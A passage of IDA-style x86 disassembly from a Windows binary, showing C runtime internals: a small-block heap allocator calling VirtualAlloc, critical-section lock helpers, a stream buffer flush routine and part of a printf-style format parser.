; ---------------------------------------------------------------------------
loc_42D694: ; CODE XREF: sub_42D621+37j
mov ebx, [ebp+arg_0]
loc_42D697: ; CODE XREF: sub_42D621+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+var_8], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_42D6DD
loc_42D6AA: ; CODE XREF: sub_42D621+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_42D6C9
cmp [edi+4], ebx
jbe short loc_42D6C9
push ebx
push eax
push [ebp+var_4]
call sub_42D829
add esp, 0Ch
test eax, eax
jnz short loc_42D6EC
mov [edi+4], ebx
loc_42D6C9: ; CODE XREF: sub_42D621+8Dj
; sub_42D621+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+var_8]
jb short loc_42D6AA
jmp short loc_42D6DD
; ---------------------------------------------------------------------------
loc_42D6DA: ; CODE XREF: sub_42D621+14j
mov ebx, [ebp+arg_0]
loc_42D6DD: ; CODE XREF: sub_42D621+87j
; sub_42D621+B7j
mov esi, [esi]
cmp esi, off_453150
jz short loc_42D6FC
jmp loc_42D62F
; ---------------------------------------------------------------------------
loc_42D6EC: ; CODE XREF: sub_42D621+54j
; sub_42D621+A3j
mov off_453150, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_42D824
; ---------------------------------------------------------------------------
loc_42D6FC: ; CODE XREF: sub_42D621+C4j
mov eax, offset off_451130
mov edi, eax
loc_42D703: ; CODE XREF: sub_42D621+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_42D70F
cmp dword ptr [edi+0Ch], 0
jnz short loc_42D71B
loc_42D70F: ; CODE XREF: sub_42D621+E6j
mov edi, [edi]
cmp edi, eax
jz loc_42D7F0
jmp short loc_42D703
; ---------------------------------------------------------------------------
loc_42D71B: ; CODE XREF: sub_42D621+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_42D74A
loc_42D739: ; CODE XREF: sub_42D621+127j
cmp [ebp+var_4], 10h
jge short loc_42D74A
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_42D739
loc_42D74A: ; CODE XREF: sub_42D621+116j
; sub_42D621+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+var_8], eax
call dword_437190 ; VirtualAlloc
cmp eax, esi
jnz loc_42D822
push 0
push [ebp+var_8]
push esi
call sub_429690
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_42D7B1
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_42D787: ; CODE XREF: sub_42D621+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_42D787
loc_42D7B1: ; CODE XREF: sub_42D621+15Ej
mov off_453150, edi
lea eax, [edi+2018h]
loc_42D7BD: ; CODE XREF: sub_42D621+1A8j
cmp ecx, eax
jnb short loc_42D7CD
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_42D7CB
add ecx, 8
jmp short loc_42D7BD
; ---------------------------------------------------------------------------
loc_42D7CB: ; CODE XREF: sub_42D621+1A3j
cmp ecx, eax
loc_42D7CD: ; CODE XREF: sub_42D621+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_42D824
; ---------------------------------------------------------------------------
loc_42D7F0: ; CODE XREF: sub_42D621+F2j
call sub_42D329
test eax, eax
jz short loc_42D822
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_453150, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_42D824
; ---------------------------------------------------------------------------
loc_42D822: ; CODE XREF: sub_42D621+143j
; sub_42D621+1D6j
xor eax, eax
loc_42D824: ; CODE XREF: sub_42D621+D6j
; sub_42D621+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_42D621 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D829 proc near ; CODE XREF: sub_42D621+4Ap
; sub_42D621+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_42D86E
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_42D85D
add [ecx], edx
sub [ecx+4], edx
jmp short loc_42D866
; ---------------------------------------------------------------------------
loc_42D85D: ; CODE XREF: sub_42D829+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_42D866: ; CODE XREF: sub_42D829+32j
lea eax, [edi+8]
jmp loc_42D93C
; ---------------------------------------------------------------------------
loc_42D86E: ; CODE XREF: sub_42D829+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_42D877
mov eax, esi
loc_42D877: ; CODE XREF: sub_42D829+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_42D8C1
loc_42D87E: ; CODE XREF: sub_42D829+96j
mov bl, [eax]
test bl, bl
jnz short loc_42D8B4
push 1
lea ebx, [eax+1]
pop esi
loc_42D88A: ; CODE XREF: sub_42D829+68j
cmp byte ptr [ebx], 0
jnz short loc_42D893
inc ebx
inc esi
jmp short loc_42D88A
; ---------------------------------------------------------------------------
loc_42D893: ; CODE XREF: sub_42D829+64j
cmp esi, edx
jnb short loc_42D8E5
cmp eax, [ebp+var_4]
jnz short loc_42D8A1
mov [ecx+4], esi
jmp short loc_42D8AD
; ---------------------------------------------------------------------------
loc_42D8A1: ; CODE XREF: sub_42D829+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_42D946
loc_42D8AD: ; CODE XREF: sub_42D829+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_42D8B9
; ---------------------------------------------------------------------------
loc_42D8B4: ; CODE XREF: sub_42D829+59j
movzx esi, bl
add eax, esi
loc_42D8B9: ; CODE XREF: sub_42D829+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_42D87E
loc_42D8C1: ; CODE XREF: sub_42D829+53j
lea esi, [ecx+8]
loc_42D8C4: ; CODE XREF: sub_42D829+EBj
; sub_42D829+F2j
cmp esi, edi
jnb short loc_42D946
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_42D946
mov al, [esi]
test al, al
jnz short loc_42D916
push 1
lea ebx, [esi+1]
pop eax
loc_42D8DC: ; CODE XREF: sub_42D829+BAj
cmp byte ptr [ebx], 0
jnz short loc_42D906
inc ebx
inc eax
jmp short loc_42D8DC
; ---------------------------------------------------------------------------
loc_42D8E5: ; CODE XREF: sub_42D829+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_42D8F6
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_42D8FF
; ---------------------------------------------------------------------------
loc_42D8F6: ; CODE XREF: sub_42D829+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_42D8FF: ; CODE XREF: sub_42D829+CBj
mov [eax], dl
add eax, 8
jmp short loc_42D93C
; ---------------------------------------------------------------------------
loc_42D906: ; CODE XREF: sub_42D829+B6j
cmp eax, edx
jnb short loc_42D91D
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_42D946
mov esi, ebx
jmp short loc_42D8C4
; ---------------------------------------------------------------------------
loc_42D916: ; CODE XREF: sub_42D829+ABj
movzx eax, al
add esi, eax
jmp short loc_42D8C4
; ---------------------------------------------------------------------------
loc_42D91D: ; CODE XREF: sub_42D829+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_42D92E
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_42D937
; ---------------------------------------------------------------------------
loc_42D92E: ; CODE XREF: sub_42D829+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_42D937: ; CODE XREF: sub_42D829+103j
mov [esi], dl
lea eax, [esi+8]
loc_42D93C: ; CODE XREF: sub_42D829+40j
; sub_42D829+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_42D948
; ---------------------------------------------------------------------------
loc_42D946: ; CODE XREF: sub_42D829+7Ej
; sub_42D829+9Dj ...
xor eax, eax
loc_42D948: ; CODE XREF: sub_42D829+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_42D829 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D94D proc near ; CODE XREF: sub_431BB3+202p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_42D987
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_42D9E7
; ---------------------------------------------------------------------------
loc_42D987: ; CODE XREF: sub_42D94D+26j
jnb short loc_42D9EE
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_42D9EE
lea eax, [ecx+edx]
loc_42D99C: ; CODE XREF: sub_42D94D+59j
cmp eax, esi
jnb short loc_42D9AA
cmp byte ptr [eax], 0
jnz short loc_42D9A8
inc eax
jmp short loc_42D99C
; ---------------------------------------------------------------------------
loc_42D9A8: ; CODE XREF: sub_42D94D+56j
cmp eax, esi
loc_42D9AA: ; CODE XREF: sub_42D94D+51j
jnz short loc_42D9EE
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_42D9E2
cmp esi, eax
jbe short loc_42D9E2
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_42D9D9
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_42D9D4
loc_42D9CD: ; CODE XREF: sub_42D94D+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_42D9CD
loc_42D9D4: ; CODE XREF: sub_42D94D+7Ej
mov [ebx+4], eax
jmp short loc_42D9E2
; ---------------------------------------------------------------------------
loc_42D9D9: ; CODE XREF: sub_42D94D+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_42D9E2: ; CODE XREF: sub_42D94D+68j
; sub_42D94D+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_42D9E7: ; CODE XREF: sub_42D94D+38j
mov [ebp+var_4], 1
loc_42D9EE: ; CODE XREF: sub_42D94D:loc_42D987j
; sub_42D94D+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_42D94D endp
; =============== S U B R O U T I N E =======================================
sub_42D9F6 proc near ; CODE XREF: sub_42E3B7+1p
push esi
mov esi, dword_437154
push off_45319C
call esi ; dword_437154
push off_45318C
call esi ; dword_437154
push off_45317C
call esi ; dword_437154
push off_45315C
call esi ; dword_437154
pop esi
retn
sub_42D9F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DA1F proc near ; CODE XREF: sub_429726+3Ep
; sub_429726+94p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
cmp dword_453158[eax*4], 0
lea esi, ds:453158h[eax*4]
jnz short loc_42DA75
push edi
push 18h
call sub_4296E8
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42DA4E
push 11h
call sub_42C5AC
pop ecx
loc_42DA4E: ; CODE XREF: sub_42DA1F+25j
push 11h
call sub_42DA1F
cmp dword ptr [esi], 0
pop ecx
push edi
jnz short loc_42DA66
call dword_437154 ; InitializeCriticalSection
mov [esi], edi
jmp short loc_42DA6C
; ---------------------------------------------------------------------------
loc_42DA66: ; CODE XREF: sub_42DA1F+3Bj
call sub_429822
pop ecx
loc_42DA6C: ; CODE XREF: sub_42DA1F+45j
push 11h
call sub_42DA80
pop ecx
pop edi
loc_42DA75: ; CODE XREF: sub_42DA1F+16j
push dword ptr [esi]
call dword_4370C8 ; RtlEnterCriticalSection
pop esi
pop ebp
retn
sub_42DA1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DA80 proc near ; CODE XREF: sub_42978D+2p
; sub_4297EC+2p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push dword_453158[eax*4]
call dword_437160 ; RtlLeaveCriticalSection
pop ebp
retn
sub_42DA80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DA95 proc near ; CODE XREF: sub_429A33+46p
; sub_429AEE+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_42DBA1
test al, 40h
jnz loc_42DBA1
test al, 1
jz short loc_42DACD
and dword ptr [esi+4], 0
test al, 10h
jz loc_42DBA1
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_42DACD: ; CODE XREF: sub_42DA95+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_42DB07
cmp esi, offset dword_450EC0
jz short loc_42DAF5
cmp esi, offset dword_450EE0
jnz short loc_42DB00
loc_42DAF5: ; CODE XREF: sub_42DA95+56j
push ebx
call sub_433167
test eax, eax
pop ecx
jnz short loc_42DB07
loc_42DB00: ; CODE XREF: sub_42DA95+5Ej
push esi
call sub_433123
pop ecx
loc_42DB07: ; CODE XREF: sub_42DA95+4Ej
; sub_42DA95+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_42DB77
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_42DB37
push edi
push eax
push ebx
call sub_4323CC
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_42DB6D
; ---------------------------------------------------------------------------
loc_42DB37: ; CODE XREF: sub_42DA95+90j
cmp ebx, 0FFFFFFFFh
jz short loc_42DB55
mov ecx, ebx
mov eax, ebx
sar ecx, 5
and eax, 1Fh
mov ecx, dword_676EC0[ecx*4]
lea eax, [eax+eax*8]
lea eax, [ecx+eax*4]
jmp short loc_42DB5A
; ---------------------------------------------------------------------------
loc_42DB55: ; CODE XREF: sub_42DA95+A5j
mov eax, offset dword_4535B0
loc_42DB5A: ; CODE XREF: sub_42DA95+BEj
test byte ptr [eax+4], 20h
jz short loc_42DB6D
push 2
push 0
push ebx
call sub_42F7E8
add esp, 0Ch
loc_42DB6D: ; CODE XREF: sub_42DA95+A0j
; sub_42DA95+C9j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_42DB8B
; ---------------------------------------------------------------------------
loc_42DB77: ; CODE XREF: sub_42DA95+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4323CC
add esp, 0Ch
mov [ebp+arg_4], eax
loc_42DB8B: ; CODE XREF: sub_42DA95+E0j
cmp [ebp+arg_4], edi
pop edi
jz short loc_42DB97
or dword ptr [esi+0Ch], 20h
jmp short loc_42DBA6
; ---------------------------------------------------------------------------
loc_42DB97: ; CODE XREF: sub_42DA95+FAj
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_42DBA9
; ---------------------------------------------------------------------------
loc_42DBA1: ; CODE XREF: sub_42DA95+10j
; sub_42DA95+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_42DBA6: ; CODE XREF: sub_42DA95+100j
or eax, 0FFFFFFFFh
loc_42DBA9: ; CODE XREF: sub_42DA95+10Aj
pop esi
pop ebx
pop ebp
retn
sub_42DA95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DBAD proc near ; CODE XREF: sub_429A33+29p
; sub_429AEE+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_42E2C6
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_42DBE1
; ---------------------------------------------------------------------------
loc_42DBD9: ; CODE XREF: sub_42DBAD+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_42DBE1: ; CODE XREF: sub_42DBAD+2Aj
cmp [ebp+var_14], edx
jl loc_42E2C6
cmp bl, 20h
jl short loc_42DC02
cmp bl, 78h
jg short loc_42DC02
movsx eax, bl
mov al, [eax+4374DCh]
and eax, 0Fh
jmp short loc_42DC04
; ---------------------------------------------------------------------------
loc_42DC02: ; CODE XREF: sub_42DBAD+40j
; sub_42DBAD+45j
xor eax, eax
loc_42DC04: ; CODE XREF: sub_42DBAD+53j
movsx eax, byte_4374FC[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_42E2B5 ; default
jmp off_42E2CE[eax*4] ; switch jump
loc_42DC22: ; DATA XREF: ?9:off_42E2CEo
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0042DC1B case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DC3D: ; CODE XREF: sub_42DBAD+6Ej
; DATA XREF: ?9:off_42E2CEo
movsx eax, bl ; jumptable 0042DC1B case 2
sub eax, 20h
jz short loc_42DC80
sub eax, 3
jz short loc_42DC77
sub eax, 8
jz short loc_42DC6E
dec eax
dec eax
jz short loc_42DC65
sub eax, 3
jnz loc_42E2B5 ; default
or [ebp+var_4], 8
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DC65: ; CODE XREF: sub_42DBAD+A4j
or [ebp+var_4], 4
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DC6E: ; CODE XREF: sub_42DBAD+A0j
or [ebp+var_4], 1
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DC77: ; CODE XREF: sub_42DBAD+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DC80: ; CODE XREF: sub_42DBAD+96j
or [ebp+var_4], 2
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DC89: ; CODE XREF: sub_42DBAD+6Ej
; DATA XREF: ?9:off_42E2CEo
cmp bl, 2Ah ; jumptable 0042DC1B case 3
jnz short loc_42DCB1
lea eax, [ebp+arg_8]
push eax
call sub_42E38C
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_42E2B5 ; default
or [ebp+var_4], 4
neg eax
loc_42DCA9: ; CODE XREF: sub_42DBAD+111j
mov [ebp+var_20], eax
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DCB1: ; CODE XREF: sub_42DBAD+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_42DCA9
; ---------------------------------------------------------------------------
loc_42DCC0: ; CODE XREF: sub_42DBAD+6Ej
; DATA XREF: ?9:off_42E2CEo
mov [ebp+var_10], edx ; jumptable 0042DC1B case 4
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DCC8: ; CODE XREF: sub_42DBAD+6Ej
; DATA XREF: ?9:off_42E2CEo
cmp bl, 2Ah ; jumptable 0042DC1B case 5
jnz short loc_42DCEB
lea eax, [ebp+arg_8]
push eax
call sub_42E38C
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_42E2B5 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DCEB: ; CODE XREF: sub_42DBAD+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DCFD: ; CODE XREF: sub_42DBAD+6Ej
; DATA XREF: ?9:off_42E2CEo
cmp bl, 49h ; jumptable 0042DC1B case 6
jz short loc_42DD30
cmp bl, 68h
jz short loc_42DD27
cmp bl, 6Ch
jz short loc_42DD1E
cmp bl, 77h
jnz loc_42E2B5 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DD1E: ; CODE XREF: sub_42DBAD+15Dj
or [ebp+var_4], 10h
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DD27: ; CODE XREF: sub_42DBAD+158j
or [ebp+var_4], 20h
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DD30: ; CODE XREF: sub_42DBAD+153j
cmp byte ptr [edi], 36h
jnz short loc_42DD49
cmp byte ptr [edi+1], 34h
jnz short loc_42DD49
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DD49: ; CODE XREF: sub_42DBAD+186j
; sub_42DBAD+18Cj
mov [ebp+var_30], edx
loc_42DD4C: ; CODE XREF: sub_42DBAD+6Ej
; DATA XREF: ?9:off_42E2CEo
mov ecx, off_453398 ; jumptable 0042DC1B case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42DD78
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_42E2EE
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_42DD78: ; CODE XREF: sub_42DBAD+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_42E2EE
add esp, 0Ch
jmp loc_42E2B5 ; default
; ---------------------------------------------------------------------------
loc_42DD90: ; CODE XREF: sub_42DBAD+6Ej
; DATA XREF: ?9:off_42E2CEo
movsx eax, bl ; jumptable 0042DC1B case 7
cmp eax, 67h
jg loc_42DFB8
cmp eax, 65h
jge loc_42DE3B
cmp eax, 58h
jg loc_42DE99
jz loc_42E02C
sub eax, 43h
jz loc_42DE5C
dec eax
dec eax
jz short loc_42DE31
dec eax
dec eax
jz short loc_42DE31
sub eax, 0Ch
jnz loc_42E1B7
test word ptr [ebp+var_4], 830h
jnz short loc_42DDDA
or byte ptr [ebp+var_4+1], 8
loc_42DDDA: ; CODE XREF: sub_42DBAD+227j
; sub_42DBAD+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_42DDE7
mov esi, 7FFFFFFFh
loc_42DDE7: ; CODE XREF: sub_42DBAD+233j
lea eax, [ebp+arg_8]
push eax
call sub_42E38C
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_42E000
test ecx, ecx
jnz short loc_42DE0F
mov ecx, off_45321C
mov [ebp+var_8], ecx
loc_42DE0F: ; CODE XREF: sub_42DBAD+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_42DE18: ; CODE XREF: sub_42DBAD+282j
mov edx, esi
dec esi
test edx, edx
jz loc_42DFF7
cmp word ptr [eax], 0
jz loc_42DFF7
inc eax
inc eax
jmp short loc_42DE18
; ---------------------------------------------------------------------------
loc_42DE31: ; CODE XREF: sub_42DBAD+212j
; sub_42DBAD+216j
mov [ebp+var_34], 1
add bl, 20h
loc_42DE3B: ; CODE XREF: sub_42DBAD+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_42DF1F
mov [ebp+var_10], 6
jmp loc_42DF2D
; ---------------------------------------------------------------------------
loc_42DE5C: ; CODE XREF: sub_42DBAD+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_42DE68
or byte ptr [ebp+var_4+1], 8
loc_42DE68: ; CODE XREF: sub_42DBAD+2B5j
; sub_42DBAD+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_42DEAF
call sub_42E3A9
push eax
lea eax, [ebp+var_248]
push eax
call sub_433190
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_42DEC2
mov [ebp+var_28], 1
jmp short loc_42DEC2
; ---------------------------------------------------------------------------
loc_42DE99: ; CODE XREF: sub_42DBAD+1FBj
sub eax, 5Ah
jz short loc_42DED0
sub eax, 9
jz short loc_42DE68
dec eax
jz loc_42E092
jmp loc_42E1B7
; ---------------------------------------------------------------------------
loc_42DEAF: ; CODE XREF: sub_42DBAD+2C5j
call sub_42E38C
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_42DEC2: ; CODE XREF: sub_42DBAD+2E1j
; sub_42DBAD+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_42E1B7
; ---------------------------------------------------------------------------
loc_42DED0: ; CODE XREF: sub_42DBAD+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42E38C
test eax, eax
pop ecx
jz short loc_42DF11
mov ecx, [eax+4]
test ecx, ecx
jz short loc_42DF11
test byte ptr [ebp+var_4+1], 8
jz short loc_42DF02
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_42E1B7
; ---------------------------------------------------------------------------
loc_42DF02: ; CODE XREF: sub_42DBAD+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_42E1B4
; ---------------------------------------------------------------------------
loc_42DF11: ; CODE XREF: sub_42DBAD+32Fj
; sub_42DBAD+336j
mov eax, off_453218
mov [ebp+var_8], eax
push eax
jmp loc_42DFAD
; ---------------------------------------------------------------------------
loc_42DF1F: ; CODE XREF: sub_42DBAD+29Dj
jnz short loc_42DF2D
cmp bl, 67h
jnz short loc_42DF2D
mov [ebp+var_10], 1
loc_42DF2D: ; CODE XREF: sub_42DBAD+2AAj
; sub_42DBAD:loc_42DF1Fj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_4537FC
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_42DF7F
cmp [ebp+var_10], 0
jnz short loc_42DF7F
lea eax, [ebp+var_248]
push eax
call off_453808
pop ecx
loc_42DF7F: ; CODE XREF: sub_42DBAD+3BCj
; sub_42DBAD+3C2j
cmp bl, 67h
jnz short loc_42DF96
test esi, esi
jnz short loc_42DF96
lea eax, [ebp+var_248]
push eax
call off_453800
pop ecx
loc_42DF96: ; CODE XREF: sub_42DBAD+3D5j
; sub_42DBAD+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42DFAC
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42DFAC: ; CODE XREF: sub_42DBAD+3F0j
push edi
loc_42DFAD: ; CODE XREF: sub_42DBAD+36Dj
call sub_4292D0
pop ecx
jmp loc_42E1B4
; ---------------------------------------------------------------------------
